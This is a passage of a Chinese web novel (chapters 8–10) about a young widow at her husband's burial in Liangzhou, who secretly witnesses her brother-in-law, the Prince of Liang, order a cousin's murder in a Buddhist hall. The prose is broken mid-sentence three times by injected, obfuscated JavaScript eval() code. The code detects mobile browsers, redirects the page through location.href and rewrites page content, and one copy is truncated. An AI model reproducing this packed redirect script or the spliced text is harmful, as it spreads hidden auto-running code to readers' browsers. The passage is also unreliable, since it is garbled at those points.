秋霜笑盈盈道:“二夫人不用急,王爷交代您慢慢过去就行。” 明宜哪敢耽搁,不为别的,只为今日是李悆的下葬日,她也不能出一点错。 她领着几个婢女匆匆行至长安苑。 里面正在烧香,披麻戴孝的一众人、围在棺椁旁,站在棺椁前方的男人,在一众人中最为高大挺拔。 明宜的目光瞬时便落在那张脸上。 那是一张全然陌生的年轻面容,五官深邃,轮廓分明,既有着汉人的柔和,亦有着胡人的浓烈,组成了恰到好处的俊美与英气。 明宜一时怔住,下意识顿下脚步。 还是男人听到院门动静,抬眸朝这边看过来。 明宜错愕的目光,恰好对上了那双深灰色的幽深眸子,她这才反应过来。 此人不是别人,正是小凉王李赟。 回过神的明宜,原本的错愕很快淡下去。 虽然小凉王没了胡须的模样,很有些出人意料,但对方毕竟与李悆是一母同胞的亲兄弟,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037471|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这般俊美,也于情于理。 她也看出来,这张脸与李悆确实有几分相似,只是气质截然不同。一个纯善温和,一个倨傲冷峻。 “弟妹来了?”在明宜再次迈步时,李赟淡声开口。 明宜走上前行了礼:“阿兄,我来晚了。” “不晚。”李赟言简意赅,然后抬手挥了挥。 院内锣鼓唢呐乍然响起,划破了清晨的寂静。 李赟迈步走在前面开路,十几个身穿麻衣的抬棺人,吆喝着将巨大的金丝楠木棺椁抬起。 明宜默默跟在棺椁后。 她听李悆说过,凉王府在紫山中有一座别业,名叫永安园,他幼时常随父母在园中避暑过冬。 而凉王家族的墓园便在永安园旁,族中长辈皆埋与此。 李悆临终前特意交代自己,将他送回凉州,让兄长把他埋葬在族中墓园,与祖父父亲们相伴。 不过这事显然不用她与李赟特意商量,对方早已经为弟弟后事做好安排。 行至王府大门口。 明宜见到周子炤带着两排穿麻戴孝的人和几辆马车,正等候在此。 这些人虽然穿着孝衣,但看得出养尊处优,并非下人,应是李家族亲。 因着紫山距离凉王府有二十余里路,需驱车前行。 冰冷沉重的棺椁再次乘坐上车,而这辆车由李赟亲自驾驶,引魂幡在他身旁随风飘动。 明宜在荣伯的安排下,与几个婢女坐进了紧随其后的一辆车。 马车缓缓启动,在青石板路上发出哒哒马蹄。 * 送葬队伍抵达紫山下,已是半个时辰后。 此后要入山中,便是纯靠人力。 手持灵幡的李赟和周子炤走在最前方,身后是由十几人抬起的巨大棺椁,紧跟在棺椁后的,是明宜这个侯夫人。 山路并不好走。 不过小半个时辰,明宜额头便出了一层薄汗,前方抬棺人,更是浑身衣裳湿透。 就在明宜以为要一口气走到墓园时,前方的李赟忽然抬手道:“歇息片刻。” 抬棺众人小心翼翼放下棺椁,如释重负般大口喘着气。 “娘子,我们去旁边歇会儿。”白芷拉着明宜小声道。 明宜点点头,走到路边坐下,一边接过秋霜递过来的水囊喝水,一边下意识抬手抹了抹额头的汗。 动作间,他无意中瞥见前方依旧站立的男人。 所有人都在路边歇息,唯有李赟依旧站在棺椁旁,他那张俊美的脸,除了冷冽,没有任何表情,因而也看不出,他是否在为棺椁内的人伤心。 李悆是重情之人,虽离家八年,却未有一日忘记过身在凉州的兄长,闲谈之时,也从不掩饰对兄长的思念。 然而这一路来,明宜却未能看出一丝半点,李赟是否也对弟弟有着一样的情感。 实际上,她根本看不出这位小凉王是否是个有正常情感之人。 当然,这并不重要,她也最好不要去好奇。 就在她准备收回目光时,李赟似乎觉察她的视线,忽然转头,朝她抬眸看过来。 那深灰色的眸子,依旧冷冽如冰,看不出任何情绪,只让人有种在被猛兽凝视的错觉。 明宜心中猛然一跳,赶紧将目光挪开。 8. 第 8 章 抵达李氏墓园,已临近午时。 凉州笃信佛法,棺椁入土前,由两位高僧诵经超度。 李悆过世已一月有余,明宜原本以过了伤心时刻,然而眼下听着经文,却再次悲从中来,一时忍不住潸然泪下。 一同抹泪的,还有一众送葬亲友。 唯独站在棺椁前方的李赟,面容肃穆,却看不出任何情绪。 及至僧人诵完经,抬棺人按着仪式,准备再次抬棺正式入土时,男人忽然抬手摁在棺盖上。 抬棺人纷纷不明所以抬头看向他。 明宜也奇怪地朝人看过去。 李赟俊美的脸上,依旧面无表情,但那双覆在棺盖的大手,却是青筋暴起,显然在蓄积巨大力量。 一旁的周子炤见状,蹙眉问道:“表兄,你这是作何?” 李赟默不作声,双手却是越发用力。 “咯吱——” 原本严丝合缝的棺盖,发出低低的摩擦声,竟是一点点被那双大手推开。 明宜被这般可怕的力量惊到,但更多是不知对方意欲何为,只惊愕地睁大眼睛,与其他人一样屏声静气紧张地望着对方。 周子炤又颤抖着声音唤了一声“表兄”,李赟这回终于有了回应。 “我想见阿玉最后一面。” 他低头望向被自己推开的棺椁内侧,淡声说完这句,又缓缓将内盖挪开。 明宜看不到棺内的情形,却也知道那是一具已经死去一月有余的尸身,即使有药材保存,定然也不似活人模样。 事实也是如此。 棺椁中李悆的脸,早已经枯败成青灰色,尸身的腐味夹杂药草香味,随着开棺,瞬时散发出来。 一旁的周子炤只瞧了一眼,便满脸惊惧地退开两步,扭过头不敢再看。 但李赟却显然对此不以为意,伸手轻轻抚了抚棺中那张面目全非的脸,哑声开口:“阿玉,让阿兄好好看看你,日后去了黄泉路,也才好相认。” 明宜默默望着这一幕,心中涌上一股悚然。 她不再怀疑从前李悆说的,他有一个疼爱他的好兄长,却也确定,他的这位好兄长,性情乖僻邪谬,与温善的李悆迥然相异。 实际上,送葬众人,显然也被李赟举止吓到,只是谁也不敢出声,整座墓园一时有股古诡异的静谧。 好在李赟这举动并未持续太久,他端详棺中的弟弟片刻,闭眼深吸一口气,收回手将棺盖缓缓阖上,低声吩咐:“落葬!” 棺椁再次被抬起,一点点沉入墓坑中。 明宜悬着的一颗心也随之落下。 只是望着那熟悉的金丝楠棺椁渐渐被土掩埋,一股怅然若失的伤感,铺天盖地袭来,她不由自主阖上双目,一行清泪到底没忍住滚落下来。 明明相处的时光,还历历在目,可她却不得不接受,这个世上,再不会有李悆。 这个赤诚纯善的少年郎,从今日起,便彻彻底底离开了自己。 明宜承认当初执意嫁给李悆,确实存着利用对方来获取自由的私心,但利用的前提,也是因为对方一颗真心打动了自己。 而她也交付了真心。 只是两人的缘分和牵绊到底太短暂,如今斯人已逝,留给自己侯夫人这个尊贵身份,拥有了想要的自由,却到底还是遗憾。 “三娘子,节哀!” 明宜神情恍惚,及至周子炤的声音在耳畔响起,才发觉自己已经跪在墓碑前,身前的盆中,是自己点燃的纸钱。 她身形消瘦,一身素白孝服,俨然是一个伤心可怜的未亡人。 明宜轻轻叹息一声:“嗯,多谢殿下关心。” 她下意识要从袖子里掏出帕子拭眼泪,却发觉掏了个空,正要作罢,面前却伸出一只握着帕子的手。 那是一只骨节分明的大手,与指间绣着兰花的洁白丝帕,有着巨大反差。 明宜微微一愣,还是接了过来:“多谢阿兄。” 原来李赟一直半跪在墓碑前,与她只隔了半米不到的距离。 待明宜接过帕子,男人轻飘飘收回手,修长手指覆在逛街的新碑上,一点点从“西平侯李悆之墓”缓缓抚过。 明宜拿起帕子,将脸上的泪痕擦拭赶紧,目光落在墓碑上那只大手,低声道:“阿兄节哀。” “嗯。”李赟淡声应道。 语气中依旧听不出哀伤之色。 李悆在京城已经办过隆重丧事,因而今日这场葬仪并不繁冗,不过是为了让亡人入土为安。 然而结束时,明宜才知,王府还安排了族亲在永安园为李悆服丧七日。 这个族亲,自然也包括明宜在内。 难怪出门时,秋霜寒露准备了大包小包,原是要在山中度过七日。 明宜本是打算待回王府歇两日,便道别回京,如今忽然多了这七日服丧,她也只能暂且将回程计划延后。 李悆刚下葬,于情于理,她也是该陪他几日。 毕竟自此一别,相隔千山万水,日后再来上香也不知是何年何月。 与李氏族墓不过一墙之隔的永安园,是一座颇有几分江南韵味的园子,据说也是当年李氏为远嫁的惠心公主所建。 惠心公主的母后乃江南人,先皇后曾在京郊打造过一座江南园林风格的行宫,惠心公主耳濡目染,也便喜欢精致隽秀的景致。 惠心公主在凉州近二十载,想来李家为这位公主也费了不少心思。 永安园中的院落各以梅兰竹菊等命名,明宜下榻的是兰园。 此时正值夏秋交季,园中有不知名的紫色兰花开得正艳。 院子虽然风景别致,但明宜却是有点待不住,李悆顺利下葬,她心中一颗大石头终于落地,却也升出几分空虚无聊,心中空空落落,只想快些离开这陌生之地,回归自己的生活,才能安心。 作为未亡人,她白日不好出门,怕在园中遇到李家不相熟的亲戚,免不了要虚与委蛇。 她是要马上回京城侯府的,与凉州的人无需交集,自然无心应付。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037472|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因无事可做,今晚比前两日在王府时歇下更早。 一觉醒来,还不到子时,但脑子已然清醒,一时半刻想再睡着是不大可能,便决定起床去走走。 她见碧纱橱外的白芷睡得正香,没去叫醒对方,自己穿上衣服,披上斗篷,悄无声息出了门。 明宜本打算只在院中赏月。 只可惜如今是月初,虽是碧空如洗的晴朗天,那挂在夜空的月亮却只如一枚细细的镰刀,倒是周围的星子熠熠生辉,亮如明灯。 她顺着星空往院外看去,却见红光点点,应是永安园挂上了宫灯。 想着这会儿除了巡视的侍卫,应该没了其他人,明宜干脆起身,走去院外看看园中夜景。 果然是一座别致的江南园子,此时从别院到外面小道,全都点着宫灯。尤其是到了园中永安湖边,沿岸灯火通明,犹如白昼。 亡人归来,想必也不会迷路。 一路无人,只有随风摇曳的灯,明宜不知不觉走到湖的尽头,见前方已是山林,便踅身要往回走,只是转身间,却又瞧见那山脚下伫立着一座亮着灯的翘角楼阁。 因为孤零零屹立在草木深处,莫名有种诡异感。 不过,明宜很快看出来,那是一座佛堂。 她想起的李悆与她说过,祖父笃信佛法,专门在永安园的修建了一座佛堂,佛堂中的金佛,乃是祖父亲手锻造。幼时每回来永安园避暑,他与兄长都会陪祖父在此烧香诵经,求佛保佑族人世代安稳。 明宜心下好奇,想着既然来了,不如去看看那金佛,顺便去佛前求个平安。 待走到那敞开的院门口,正要继续往里走,却忽然听到里面隐约有声音传来。 有人? 这倒是不奇怪。 但她很快有听出那声音,似乎是痛苦的闷哼。 明宜怔了一怔,下意识是以为有人受伤,便迈步继续朝里走去,想去瞧个究竟,只是警惕的本能,让她不由自主放轻脚步。 夏末夜风,拂过草木,虫鸣正欢,将她这小小的动静,悉数淹没在夜色中。 那佛堂朱红大门虚掩着,门缝中透出一丝红烛幽光。 在明宜靠近时,那痛呼的闷哼,变成了不甘的怒喝。 “朱邪阿奴!别忘了你流的是沙狄人的血,你当真以为大宁皇帝多看重你,你不过是替他看守河西的一条看门狗!” 明宜微微一怔。 她听出里面发生的事不同寻常,自己最好赶紧悄无声息离开,就像从未来过一样。 但到底还是没忍住好奇,蹑手蹑脚上前两步,弯身往门缝凑去。 只见屋中那佛台上点着几只红烛,巨大的金身佛像,威严耸立在烛光后。 在佛像下方,跪着一个人,浑身是血。 他跪着的方向却不是身后镀金佛像,而是背对着门口的一个男人。 明宜只能看到那人背影。 身形颀长挺拔,着一身玄色长衫。 不是别人,正是小凉王李赟。 9. 第 9 章 而那跪地男人刚刚虽然在怒骂,脸上却满是惊惧之色。 明宜认出此人今日在送葬队伍中,应是李家族亲。 “表兄——”李赟开口的声音低沉冷冽如数九寒冰,语气却是不紧不慢,甚至还有几分气定神闲,“本王袭爵那年,你与我说不想做大宁人,想回漠北寻根。我赠你财帛,差人送你上路,但还不到敦煌,你便跑回来。因为你很清楚,到了北狄人的地盘,你就得跟我们先祖一样,被迫做北狄人的奴隶。” “没错,我不想做北狄的奴隶,但我也不想做大宁的下等人!” “下等人?”李赟冷笑一声,“你在大宁的凉州,金樽玉盏,奴仆成群,你只怕是不知什么叫真正的下等人?” 说到这里,他微微一顿,蓦地拔高声音:“表兄!你不是觉得自己是大宁下等人,你是恨自己不是凉王。从前你与北狄人来往勾结,本王睁一只眼闭一只眼,但这回你竟然算计到阿玉棺椁上,我不会再姑息!” 地上的男人蓦地睁大眼睛,手脚并用退后进步,及至靠在佛台前,才不得不停下。 “你……你想作何?我可是你亲表兄,我的母亲你的亲姑母就在永安园内!你难不成想杀我?” 李赟负手站在原地,俯视着地上的男人,冷哼一声:“楚飞,动手!” 他话音落,一道黑影忽然从左侧冒出来,蓦地上前一把将地上的人拽住。 明宜见过那身影,正是李赟的亲随。 白日见时,只见这亲随年纪不大,生了一张朴实憨厚的脸。 但此刻看来,显然并非如此,此人动作干净利落,全然是冷血无情的做派。 “朱邪阿奴!你就是魔佛波旬转世,难怪你母亲都对你避而远之!”男人试图挣扎逃跑,但长年的酒色财气消磨了他的力气,被人抓住完全不能动弹,只能用尽最后的力气骂道,“这是祖父建的佛堂,为得是保佑我们族人世代平安,你敢在佛堂杀我,佛祖和泉下有知的祖父,绝不会放过你!” 李赟哂笑一声:“祖父呕心沥血一辈子,才让族人有了凉州这片栖身之地,既是保佑族人世代平安,佛祖和祖父定然乐见本王除掉你这个忘恩负义的混账玩意儿。”他顿了下,又冷冷补充一句,“还有,本王姓李名赟,不叫朱邪阿奴。” 男人还想挣扎反抗,缚住他的楚飞,一只手忽然攥住他头颅,猛得一扭。 只听惊心动魄的一声“咔嚓”,骂声戛然而止,男人略有些肥胖的身躯,噗通一声倒在巨大的金佛脚下,没了气息。 而那拈花微笑的赤金大佛,嘴角的笑容在烛火中丝毫未变。 与此同时,门外的明宜,紧紧捂住嘴巴,生怕剧烈跳动的心,从胸腔中崩出来。 她不是没见过杀人,从前宋府也曾打死过犯错的奴婢。但像这样瘆人的情况,还是她人生第一次。 李赟身为凉王,杀人跟大约捏死蚂蚁无甚差别。 可这是笃信佛法的凉州,他竟在佛堂里杀人,杀的还是亲表兄。 明宜心乱如麻,趋利避害的本能,让她的身体先于脑子反应过来,蹑手蹑脚往后退了几步,然后屏声静气迅速离开。 等到了院门外,又连忙加快速度,顷刻间便消失在静谧的夜色中。 佛堂内的李赟,眉头轻轻跳动了下,深邃的眸子,往身后大门斜乜了眼,却并未转头,只淡声道:“把人悄悄带下山,丢入河中,届时就说表兄服丧期私自下山饮酒,不慎失足落水溺毙。” “收到。”楚飞拱手应道。 李赟看也没看地上的人一眼,只兀自走上前,微微昂头对上身前的金佛。 那金佛似乎也在凝望着他,庄严宝相的佛像和冷峻孤高的男人相持而立,仿若一魔一佛,分不出谁的气势更甚。 李赟默然片刻,拿起三根香,凑到烛火上点燃,对着佛像鞠了三下,然后将香插入香案中。 却始终未发一言。 “楚飞——”两人出门,李赟轻描淡写扫了眼静谧的四周,道,“表兄好不容易寻到机会对我下手,他虽然身死,但他背后的人定然不会放过此等机会,永安园这几日只怕不得安宁,你暗中再多派些人手防范,我也正好将这些潜伏在凉州见不得光的玩意儿一网打尽。” “明白。” 李赟又补充已经:“尤其是兰园那边。” “嗯。” 楚飞扛着身上尸首,健步如飞要离开,却忽然又意识到什么似的,回头看向犹站在门口的男人。 “王爷……”他见李赟低头看着地面,不明所以地开口。 李赟未回应,只半蹲下身,伸手摸了摸地上隐约的脚印。 楚飞见状浓眉一蹙,大惊失色:“刚刚有人来过?我怎的没觉察?” 李赟起身轻轻拂了拂过指腹间的尘土,淡声道:“无妨。” “王爷——” 李赟挥挥手:“去办你的差事。” 楚飞略有些犹疑,到底什么都没问,只用力点头:“收到。” * 这厢回到兰园的明宜,悄无声息钻回床上,只是如何都睡不着。 脑中都是先前佛堂里的画面。 佛堂中那道身影,离李悆口中的好兄长越发相去甚远,而与坊间传闻的小凉王却渐渐重合。 其实无论李赟是怎样的人,都与她无关,毕竟两人并无任何利害关系,然而她心中就是对此人此地莫名生出一股不安的预感。 她得尽快启程回京。 * “咦?娘子,你昨晚没睡好么?” 早上醒来,白芷见明宜眼下隐约的青色,不由关切问道。 明宜道:“可能山中有些阴冷,睡得不是很踏实。” 白芷摸摸头,嘟囔道:“阴冷么?我怎么不觉得?” 不过她也未多想,主仆二人洗漱后,正等着婢女来送早膳,却听秋霜跑进来道:“二夫人,王爷差人请您去浣花厅一同用早膳。” 明宜微微一愣,心中莫名有些慌乱,也不敢耽搁,赶紧随候在院门的小厮,匆匆赶去浣花厅。 浣花厅乃是永安园中一座宴厅,明宜赶到时,见族亲皆在,这才稍稍松了口气。 原来是家宴,并非专程请自己。 李赟已在主位坐定,明宜被仆人领至其右手边下位,对面则坐着周子炤。 明宜与二人行了礼。 周子炤朝她轻笑了笑:“三娘子不用多礼。” 李赟则只轻描淡写看她一眼,淡声道:“坐吧,弟妹。” 明宜不动声色扫了眼周遭一张张陌生的脸,除了依旧神色散漫的周子炤,各个正襟危坐,噤若寒蝉。 可见小凉王在族中威严。 明宜以为李赟叫来族亲一起用餐,是有事要说,但一顿早膳用毕,他也没说任何正事。 而明宜心中有鬼,一顿饭是吃得是味如嚼醋,好不容易等到散席,她赶紧起身同李赟和周子炤行了个礼,便跟着人群离去。 只是才刚走到浣花厅门口,身后忽然传来一道冷沉的声音:“弟妹,请留步!” 明宜脚下一顿,缓缓转身,却见是李赟不急不缓朝自己走来。 “阿兄——” 李赟淡声道:“我带你去阿玉从前住的院子看看。” 语气彬彬有礼,却不是提议,而是告知。 明宜微微一愣,继而轻笑道:“阿玉与我提过,他幼时来永安园,是住梅园。 “嗯。” “那就劳烦阿兄带路了。” 李赟点点头,深灰色眸子轻轻扫了眼她的脸,然后迈步从她跟前越过。 一股似有似无的幽香,拂过明宜鼻间,明明是清淡好闻的香味,却又好似带了一丝说不上来的血腥。 她抿抿嘴,默默跟上这道高大挺拔的身影。 一条青石板小径,只有李赟明宜和两人各自的贴身随从和婢女。 明宜不动声色瞥了眼李赟身旁的楚飞,对方先前在门口迎上来,恭敬有礼,面上依旧是挂着淳朴的浅笑,怎么看都不像是个在佛像面前一手扭断人脖子的刽子手。 其实单看李赟的外表,也并不像冷血无情的杀神,虽然神色冷峻,但五官深邃立体,颇有几分秾艳之色,且行为举止十分恭谦有礼,至少对她这个远道而来的弟妹,礼数做到了十分。 行了须臾,一片湖景蓦地映入眼帘,这是她昨晚来过的永安湖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037473|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然湖边夜景与白日大相径庭,但熟悉的路径,还是让明宜心中有些悚然。 尤其看着李赟沿着岸边,一直往前方山脚走去,她心中愈发惴惴不安。 这路线竟是与自己昨晚一模一样。 及至那山脚八角佛堂出现在视线中,行在前边的李赟轻飘飘抬手指过去:“那是佛堂,里面佛像是祖父亲自打造,弟妹若是也信佛,回头可以去里面拜拜。” 明宜心里一提,姑且不论她信不信佛,但这佛堂分明就是命案现场,显然不适合去拜。 不过她面上还是微微一笑,从善如流应道:“嗯,好的。” 李赟微微顿步,转头朝她看了一眼,那深灰色眸子一如既往的冷然,以至于像是睥睨一般。 明宜面色未变,只客气又坦然地迎上对方目光:“怎么了?阿兄。” 李赟勾了下唇角,淡声道:“前面转弯,便是梅园了。” 明宜点点头:“嗯。” 李赟转头,继续阔步往前走,此后一直到了那写着“梅园”二字的别院前,又才再次开口。 “到了。” 明宜随他走进那月亮门。 因李悆提起过这梅园许多次,她心中不免好奇。 眼下这精巧不过的院落,虽然看得出久未有人居住,但显然一直有人精心打理。 石桌石椅光洁如新,一尘不染。 院中草木枝繁叶茂,却几无杂草。 李悆说过,梅兰竹菊中,母亲最喜欢梅花,所以每回都带他住在这座梅园,园中梅树都是母亲亲手种下,冬日初春盛开之时,色若胭脂。 只是如今时节不对,院中几棵梅树,只生了叶,还未开花。 李赟走到一棵梅树旁,伸手抚了抚枝头的绿色,似是随口道:“这梅花还要几个月才开,届时弟妹可以过来赏梅。” 明宜心中猛得一跳,明明是一句堪称温和随意的话,她却莫名觉得刺耳。 她只是来送李悆回乡安葬,过几日就回京,怎可能几月之后还能过来赏梅? 但旋即一想,对方大约也就是一句随口的客气话,于是她便没去纠正这话,只环顾了眼四周道:“这园子确实别致,难怪阿玉总提起。” 李赟走到石桌旁坐下,淡声对明宜示意道:“坐吧,弟妹。” 明宜犹疑了下,还是从善如流走过去,在他对面落座。 也不知哪里冒出的一个小厮,端着茶水放在桌上,正要抬手为两人斟茶,却被李赟抬手制止:“下去吧。” 小厮拱手作揖,转身退下。 楚飞也拱拱手,随即对白芷做了个有请的手势。 白芷不明所以,还是明宜道:“白芷,你先下去吧。” 白芷这才明白过来是小凉王不喜人打扰,赶紧随着楚飞出了院子。 待院中只剩两人,李赟不紧不慢端起茶壶,给桌上两只茶盏里斟上茶,又将其中一盏,推到明宜跟前,然后举起手中茶盏,抬眸看向对面的人:“弟妹不辞辛苦千里迢迢送阿玉回凉州,来了这几日,阿兄还未曾好好招待过你,怠慢了弟妹,阿兄以茶代酒给你赔个不是。” 明宜一愣,反应过来,忙不迭举杯回道:“阿兄言重了,王府将我招待得很好,未曾有半丝被怠慢。阿兄庶务繁忙,又要操办阿玉下葬事宜,这等小事便不必操心。” 李赟垂眸呷了口茶,默了片刻,又才冷不丁问道:“母亲在京城可好?” 他语气平淡,仿若是在问天气,而不是在谈八年未见的生母。 明宜看向他,那双深灰色双眸微垂,看不出任何情绪,她略微斟酌了下,道:“阿兄不需担心,母亲虽因阿玉过世伤心难过,但毕竟早有预料,她很快便看开。原本她要亲自送阿玉回凉州,无奈身子不适合长途跋涉,只好由我这个儿媳来办。” 李赟仍旧垂着双眸,唯有浓长的羽睫微微跳动了下,骨节分明的手指,轻轻摩挲着茶盏边缘,片刻后才点点头,淡声道:“嗯,母亲年岁已长,确不适宜舟车劳顿,安心在京城休养便好。” 明宜原本想为惠心公主说几句好话,但旋即一想,自己到底是个外人,只怕多说多错,于是只端起茶盏默默饮茶。 10. 第 10 章 两人不约而同的沉默,让空气多了分诡异的静谧,好在李赟很快又颇有几分认真地开口:“这回阿玉能顺利回家,多亏弟妹,作为兄长我感激不尽。” 明宜轻笑道:“阿玉是我夫君,这是我分内之事。” 李赟勾了勾嘴角:“阿玉能娶得弟妹,是他的福气。”说着又似是随口道,“那日在黑松驿,若不是弟妹将那北狄人匪首引开,只怕阿玉已是尸骨无存。阿玉总在信中说,弟妹如何温婉贤淑,没想到还有这等胆识。” 明宜无奈一笑:“无所谓胆识,不过是事发紧急,别无他法。” 李赟眉头轻挑了下,又说:“那日鲁刺儿追到弟妹,已距黑松驿十余里,弟妹出身书香之家,如此精通骑术倒是令人意外。” 明宜摇头失笑,还是先前回答周子炤的那番话:“我哪是精通骑术,不过是求生本能,再兼一点运气罢了。若不是阿兄及时赶到,我只怕早已被那北狄匪首掳走,还要多谢阿兄。” 李赟也淡淡一笑:“不敢居功,若我当真够及时,便不会让弟妹你受此惊吓,让送阿玉归家的人马死伤如此惨重。” 明宜叹息一声:“谁也料不到北狄人胆大至此,竟敢潜入黑松驿。” 李赟微微颔首:“总之此次阿玉能顺利入土为安,都是弟妹的功劳。等服丧结束回了王府,我再正式设宴感谢弟妹。” 明宜也没再客气,只轻笑道:“但凭阿兄安排。” 李赟勾了勾唇,朝她举起茶杯示意了下,仰头一饮而下。 对方这番礼数实在周全,但明宜脑中却忍不住想起昨晚佛堂的场景。 她不动声色看了眼对方,在那双深灰色眸子看过来前,又欲盖弥彰般端起茶盏,低头慢条斯理呷了一口。 李赟眯了眯眼,将饮净的茶杯随手放下,然后蓦地起身,与她揖了一礼:“山中夜晚清冷,弟妹昨晚想必没睡好,我就不继续叨扰,你随便逛逛,累了便回去好好休息。” “昨晚”二字让明宜心中猛得一提,不得不怀疑对方这话意有所指,她暗暗吸了口气,巧笑嫣然起身回礼道:“嗯,阿兄慢走。” 李赟神色莫测地看了看她,踅身离开。 明宜目送那道高大挺拔的背影从门口消失,才重重舒了口气。 “娘子,你和王爷说完了?” 须臾后,白芷小碎步跑了进来,一脸好奇问。 先前她听自家娘子说小凉王并非她以为的那般俊美,但昨日看到本尊,才发觉传言不虚,王爷果然是难得一见美男子。 只是看起来过于冷峻威严,是个不大好相与的模样,加之又亲眼见到王府族亲对这位小凉王如何敬畏,刚刚自家娘子与对方独处这么久,她不免有些担心。 明宜笑着点点头。 白芷又小心翼翼试探道:“你不怕王爷吗?” 明宜好笑道:“王爷是侯爷兄长,我作何要怕他?” 虽然李赟此人确实危险,但自己过了这几日,便要离开凉州回京城,不需要像李家族亲一样,仰仗他的鼻息,看他的脸色,自然不用对他有何畏惧。 当然,要说一点不畏惧,那定然也是假的。 毕竟那可是一个在佛堂杀表兄,又让人摸不清心思的人。 “这倒也是。”白芷点点头咕哝道。 明宜在梅园待了会儿,看完了李悆曾对自己描述过的风景,又赶在晌午之前去了旁边的墓园给李悆上了一炷香。 去的时候,见墓前还有一炷未燃尽的香,想来是李赟刚刚来过。 山中日子难免枯燥,但有了昨晚经历,明宜不敢再乱跑,只白天在园子里走走,晚上便在兰园闭门不出,只等着这七日过去。 接下来两日,她再没见过李赟,只在去给李悆上香时看到有点燃的香。 及至第四天晚上,明宜梳洗之后,正欲休息,周子炤忽然到访。 她这两日因深居简出,也未曾见到这位齐王殿下,听到婢女来报,赶紧去门口迎人。 “都说这是凉州,不是京城,三娘子不用拘礼。”周子炤见到她行礼,赶紧笑着摆手。 明宜将人请进屋内坐下,又吩咐秋霜去倒茶。 “殿下是有何事吗?” 周子炤还是一贯吊儿郎当的模样,笑眯眯道:“这几日在院中闭门未出,未见着三娘子,特意过来看看。” “多谢殿下关心。” 周子炤摇摇头,又似是随口问道:“过三日就要下山,不知三娘子有何打算?是要立马回长安,还是在凉州再多待些时日?” “如今阿玉入土为安,我也就放心了。出来这么久,侯府只怕已经积了许多事等我回去打理,见不到我回去,婆母恐怕也会担心,所以等下山我就得准备返程了。” “这倒也是。”周子炤点点头,又有些遗憾地叹了口气,“过几日表兄要启程去河西各州巡查军务,再去敦煌督促募兵,我正好借此机会随他一起游览河西。原本想着三娘子对大漠风光,敦煌壁画应有兴趣,便来问你是否要一起同行,但你既然要赶着回京,那我也便不好相邀了。” 明宜微微一愣。 他这次送李悆回乡安葬,原本也是存了游历山河的心思,她对敦煌壁画亦是慕名已久,想着或许有机会可以去看看。 然而入凉州这几天的经历,无论是黑松驿的北狄贼人,还是昨晚在佛堂杀人的小凉王,都让她有种深深的不安。 她一向谨慎,习惯一切在自己掌控中。但显而易见,在这个充满未知的陌生地,她无法掌控任何事,所以还是赶紧离开,回到熟悉的长安,方才安心。 思及此,明宜轻轻笑了笑:“那我就祝殿下这趟西行,一路平安。” 周子炤有些散漫的笑了笑,又轻咳一声,心虚般道:“我在阿玉服丧期与你说游玩之事,你会不会不高兴?” 明宜微微一愣,继而又摇头失笑道:“殿下多虑了,阿玉生病多时,过世是意料之中的事,我自然早就看开。” 周子炤叹了口气:“初听闻阿玉过世,我也伤心得哭了好几回。不过想着这就是他的命,也便很快接受。不过……”说到这里,这位玩世不恭的齐王殿下,脸上难得浮上一丝踟蹰。 明宜见状,挑了挑眉头:“殿下但说无妨。” 周子抿抿唇:“我一直有些好奇,三娘子明知道阿玉命不久矣,为何还执意嫁给他?当初令尊似乎还反对过,最后是你请父皇指婚,你们才得以顺利成亲。”说着又轻咳一声,补充一句,“若是三娘子觉得我这话失礼,当我什么都没说便好。” 他与眼前的女子并不相熟,总共只见过几面。但因着李玉的关系,他听闻过她的一些事。 她乃是宋家嫡女,但母亲早逝,父亲在朝中无所建树,家中妻妾却是一堆,兄弟姐妹十余人,后宅十分热闹,这位宋家三娘子从小跟在祖父宋太傅身边读书识字,据说很有些才学。 宋太傅门下的弟子,无不说她性格温婉贤淑,求娶之人如过江之鲫。 没想到如此温婉女子,在婚事上却做了件出乎意料的事,不顾父亲反对,执意要嫁给时日无多的李悆,年纪轻轻做了寡妇。 明宜听他这话,并无不悦,神色依旧娴静温和,只轻笑了笑:“我与阿玉算青梅竹马,这么多年的情谊,不敢说坚如磐石,却也是情投意合,岂会因为他的身体放弃他?” 她与李悆的婚事却有过波折,当得知李运命不久矣,父亲立刻要为她重新物色如意郎君。彼时李悆也不想拖累她,她只得央求惠心公主,让她求景明帝指婚。 惠心公主虽知儿子活不长,可做母亲的哪能没有私心,见自己执意要嫁,便应了她的请求。 她对李悆确实有情,可对这场婚事也的确存了私心。 大宁朝民风尚算开放,但女子仍旧承受诸多束缚,在家从父,出嫁从夫。尤其是她这种高门女子,人生荣辱全都系在男人身上。 